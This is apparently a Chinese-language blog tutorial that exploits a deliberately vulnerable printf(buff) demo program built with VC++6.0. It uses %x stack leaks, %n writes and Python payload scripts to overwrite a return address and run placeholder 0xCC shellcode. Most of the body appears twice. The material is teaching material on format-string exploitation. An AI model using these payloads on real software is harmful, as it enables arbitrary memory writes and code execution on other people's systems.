首先使用vc++6.0编译一个程序FormatStr.exe,源代码:
这里以参数test-%x-%x-%x-%n为例
核心汇编代码MOV DWORD PTR DS:[EAX],ECX,其中寄存器EAX,ECX都可以被用户控制,ECX指前边字符的个数,可以通过调试确定(具体有栈上的数据决定,是零的就排除),EAX指参数“test-%x-%x-%x-%n”的首地址,并且通过添加%x可以使EAX往后移四个地址,可以将任意数据写入任意地址,这样就可以将shellcode的首地址写入函数的返回地址,这样等函数返回时shellcode就可以执行了
%1000x 1000是个十进制数字,表示输出字符串的长度,可以通过这个控制字符串的长度
首先打印栈上的数据:输入“test-%x-%x-%x-%x-%x-%x” 输出:test-12ff04-380e4a-7f-34333231-2d78252d-252d7825 (即栈上的相关信息)
test-%x-%x-%x-%n 调试中断时 EAX=34333231
test-%x-%x-%x-%x-%n 调试中断时 EAX=2d78252d
test-%x-%x-%x-%x-%x-%n 调试中断时 EAX=252d7825
设置immunity debugger为默认调试器
首先观察ECX值的变化,当输入test-%x-%x-%n时,ECX=0x13,即字符串“test-12ff04-380e4a-”的长度19,当输入test-%x-%x-%x-%n时,ECX=0x16,即字符串“test-12ff04-380e4a-7f-”的长度22,当输入test-%x-%x-%x-%x-%n时,ECX=0x1F,即字符串“test-12ff04-380e4a-7f-34333231-”的长度31,所以ECX即前边字符串的长度,但是这个长度是根据栈中具体数值来确定的,所以只能通过调试来确定。
观察EAX的值,当输入test-%x-%x-%n时,EAX=0x7f,即栈中的数值0x7f,当输入test-%x-%x-%x-%n时,EAX=0x74726574,即栈中的0x74726574,当输入test-%x-%x-%x-%x-%n时,EAX=0x2d78252d,即栈中的0x2d78252d,当输入test-%x-%x-%x-%x-%x-%n时,EAX=0x252d7825,即栈中的0x252d7825,可以发现这样的规律,随着%x的增多,EAX的值是栈中以四字节为单位往高地址增长的栈中的数据。
通过以上的介绍,可以看到可以将ECX设置为shellcode的首地址,将EAX设置为函数返回地址所在的栈地址,这样当函数返回时,就会执行shellcode中的代码
首先查找shellcode的首地址,在命令行下运行:FormatStr.exe "test-%x-%x-%x-%n",程序异常自动附加到immunity debugger,
直接在栈中搜索就可以了,可以看到shellcode的起始地址是0x0012FF04,
然后查找函数返回地址所在的栈地址,组合键alt+k切换到栈回溯窗口,可以看到最近的函数返回地址所在的栈地址是:0x0012FED0:
经过上边介绍只要使EAX=0x0012FED0,ECX=0x0012FF04就可以使我们的shellcode得到执行的机会。
以参数“testAAAABBBB-%x-%x-%x-%n”为示例
首先使ECX=0x0012FF04,0x0012FF04=1244932,[1244932-(4+4+4+4)]/3=414972,
将参数修改为“testAAAABBBB-%414972x-%414972x-%414972x-%n”,输出ECX如下:
,正好得到ECX=0x0012FF04
下边使EAX=0x0012FED0,但是由于EAX中含有0x00,作为字符串的结束字符后边的字符会被截断掉,解决的办法就是增加%x的个数,使EAX往栈的高地址方向移动,直到移动到字符串的末尾,这样0x00就不会影响我们后续的操作了
当参数是“testAAAABBBB-%414972x-%414972x-%414972x-%n”时,EAX=0x74735674,即test的十六进制值,我们依次增加0x的个数,为了便于操作,我们可以用python书写一个简单脚本:
from subprocess import call
a="testAAAABBBBCC-"
b="%x"*3
c="%414972x-%414972x-%414972x-%nABCDE"
buf=a+b+c
call(["FormatStr.exe",buf])
可以看到EAX已经移位到字符串“CC-%”,我们继续增加%x的个数,直到移位到%n之后:
python脚本:
from subprocess import call
a="testAAAABBBBCC-"
b="%x"*23
c="%414972x-%414972x-%414972x-%nABCDE"
buf=a+b+c
call(["FormatStr.exe",buf])
此时EAX=0x00454443 即字符串“CDE”的十六进制
由于此时增加很多%x打乱了ECX的值,我们再调整一下:
from subprocess import call
a="testAAAABBBBCC-"
b="%x"*23
c="%414914x-%414913x-%414913x-%nABCDE"
buf=a+b+c
call(["FormatStr.exe",buf])
此时EAX=0x00454443,ECX=0x0012FF04:
此时只要将CDE替换为返回地址的所在的栈地址,将test-AAAABBBB....等替换为shellcode,为了演示,直接替换为0xCC(中断)吧:
from subprocess import call
a="\xCC\xCC\xCC\xCCAAAABBBBCC-"
b="%x"*23
c="%414914x-%414913x-%414913x-%nAB\xD0\xFE\x12"
buf=a+b+c
call(["FormatStr.exe",buf])
shellcode成功得到执行。
代码:
_#include <stdio.h> #include <string.h> int main (int argc, char *argv[]) { char buff[1024]; // 设置栈空间 strncpy(buff,argv[1],sizeof(buff)-1); printf(buff); //触发漏洞 return 0; }
核心汇编代码MOV DWORD PTR DS:[EAX],ECX,其中寄存器EAX,ECX都可以被用户控制,ECX指前边字符的个数,可以通过调试确定(具体有栈上的数据决定,是零的就排除),EAX指参数“test-%x-%x-%x-%n”的首地址,并且通过添加%x可以使EAX往后移四个地址,可以将任意数据写入任意地址,这样就可以将shellcode的首地址写入函数的返回地址,这样等函数返回时shellcode就可以执行了
%1000x 1000是个十进制数字,表示输出字符串的长度,可以通过这个控制字符串的长度
首先打印栈上的数据:输入“test-%x-%x-%x-%x-%x-%x” 输出:test-12ff04-380e4a-7f-34333231-2d78252d-252d7825 (即栈上的相关信息)
test-%x-%x-%x-%n 调试中断时 EAX=34333231
test-%x-%x-%x-%x-%n 调试中断时 EAX=2d78252d
test-%x-%x-%x-%x-%x-%n 调试中断时 EAX=252d7825
设置immunity debugger为默认调试器
首先观察ECX值的变化,当输入test-%x-%x-%n时,ECX=0x13,即字符串“test-12ff04-380e4a-”的长度19,当输入test-%x-%x-%x-%n时,ECX=0x16,即字符串“test-12ff04-380e4a-7f-”的长度22,当输入test-%x-%x-%x-%x-%n时,ECX=0x1F,即字符串“test-12ff04-380e4a-7f-34333231-”的长度31,所以ECX即前边字符串的长度,但是这个长度是根据栈中具体数值来确定的,所以只能通过调试来确定。
观察EAX的值,当输入test-%x-%x-%n时,EAX=0x7f,即栈中的数值0x7f,当输入test-%x-%x-%x-%n时,EAX=0x74726574,即栈中的0x74726574,当输入test-%x-%x-%x-%x-%n时,EAX=0x2d78252d,即栈中的0x2d78252d,当输入test-%x-%x-%x-%x-%x-%n时,EAX=0x252d7825,即栈中的0x252d7825,可以发现这样的规律,随着%x的增多,EAX的值是栈中以四字节为单位往高地址增长的栈中的数据。
通过以上的介绍,可以看到可以将ECX设置为shellcode的首地址,将EAX设置为函数返回地址所在的栈地址,这样当函数返回时,就会执行shellcode中的代码
首先查找shellcode的首地址,在命令行下运行:FormatStr.exe "test-%x-%x-%x-%n",程序异常自动附加到immunity debugger,
直接在栈中搜索就可以了,可以看到shellcode的起始地址是0x0012FF04,
然后查找函数返回地址所在的栈地址,组合键alt+k切换到栈回溯窗口,可以看到最近的函数返回地址所在的栈地址是:0x0012FED0:
经过上边介绍只要使EAX=0x0012FED0,ECX=0x0012FF04就可以使我们的shellcode得到执行的机会。
以参数“testAAAABBBB-%x-%x-%x-%n”为示例
首先使ECX=0x0012FF04,0x0012FF04=1244932,[1244932-(4+4+4+4)]/3=414972,
将参数修改为“testAAAABBBB-%414972x-%414972x-%414972x-%n”,输出ECX如下:
,正好得到ECX=0x0012FF04
下边使EAX=0x0012FED0,但是由于EAX中含有0x00,作为字符串的结束字符后边的字符会被截断掉,解决的办法就是增加%x的个数,使EAX往栈的高地址方向移动,直到移动到字符串的末尾,这样0x00就不会影响我们后续的操作了
当参数是“testAAAABBBB-%414972x-%414972x-%414972x-%n”时,EAX=0x74735674,即test的十六进制值,我们依次增加0x的个数,为了便于操作,我们可以用python书写一个简单脚本:
from subprocess import call
a="testAAAABBBBCC-"
b="%x"*3
c="%414972x-%414972x-%414972x-%nABCDE"
buf=a+b+c
call(["FormatStr.exe",buf])
可以看到EAX已经移位到字符串“CC-%”,我们继续增加%x的个数,直到移位到%n之后:
python脚本:
from subprocess import call
a="testAAAABBBBCC-"
b="%x"*23
c="%414972x-%414972x-%414972x-%nABCDE"
buf=a+b+c
call(["FormatStr.exe",buf])
此时EAX=0x00454443 即字符串“CDE”的十六进制
由于此时增加很多%x打乱了ECX的值,我们再调整一下:
from subprocess import call
a="testAAAABBBBCC-"
b="%x"*23
c="%414914x-%414913x-%414913x-%nABCDE"
buf=a+b+c
call(["FormatStr.exe",buf])
此时EAX=0x00454443,ECX=0x0012FF04:
此时只要将CDE替换为返回地址的所在的栈地址,将test-AAAABBBB....等替换为shellcode,为了演示,直接替换为0xCC(中断)吧:
from subprocess import call
a="\xCC\xCC\xCC\xCCAAAABBBBCC-"
b="%x"*23
c="%414914x-%414913x-%414913x-%nAB\xD0\xFE\x12"
buf=a+b+c
call(["FormatStr.exe",buf])
shellcode成功得到执行。